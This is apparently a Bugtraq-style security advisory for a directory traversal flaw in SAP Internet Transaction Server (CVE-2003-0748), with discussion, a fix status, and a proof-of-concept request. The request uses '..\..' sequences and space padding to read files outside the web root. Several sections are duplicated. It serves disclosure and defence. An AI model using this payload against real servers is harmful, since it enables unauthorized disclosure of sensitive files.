SAP Internet Transaction Server Directory Traversal File Disclosure Vulnerability
BID:8516
Info
SAP Internet Transaction Server Directory Traversal File Disclosure Vulnerability
| Bugtraq ID: | 8516 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0748 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 30 2003 12:00AM |
| Updated: | Jul 11 2009 11:56PM |
| Credit: | This vulnerability reported by Martin Eiszner <[email protected]>. |
| Vulnerable: |
SAP Internet Transaction Server 4620.2.0.323011 Build 46B.323011 |
| Not Vulnerable: | |
Discussion
SAP Internet Transaction Server Directory Traversal File Disclosure Vulnerability
SAP is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of sensitive files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) and due to correct bounds checking verification, making it possible to bypass the appending of the .html exentsion to requested files. As a result, it may be possible to access sensitive files residing outside of the requested location.
SAP is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of sensitive files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) and due to correct bounds checking verification, making it possible to bypass the appending of the .html exentsion to requested files. As a result, it may be possible to access sensitive files residing outside of the requested location.
Exploit / POC
SAP Internet Transaction Server Directory Traversal File Disclosure Vulnerability
The following proof of concept has been supplied.
http://www.server.name/scripts/wgate/pbw2/!?
with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(where "+" stands for spaces "%20" uri encoded).
The following proof of concept has been supplied.
http://www.server.name/scripts/wgate/pbw2/!?
with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(where "+" stands for spaces "%20" uri encoded).
Solution / Fix
SAP Internet Transaction Server Directory Traversal File Disclosure Vulnerability
Solution:
It has been reported that this issue has been addressed by SAP, however this information has not been confirmed by Symantec. Users are advised to contact SAP for any further details regarding available fixes.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
It has been reported that this issue has been addressed by SAP, however this information has not been confirmed by Symantec. Users are advised to contact SAP for any further details regarding available fixes.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
SAP Internet Transaction Server Directory Traversal File Disclosure Vulnerability
References:
References:
- SAP Internet Transaction Server (Martin Eiszner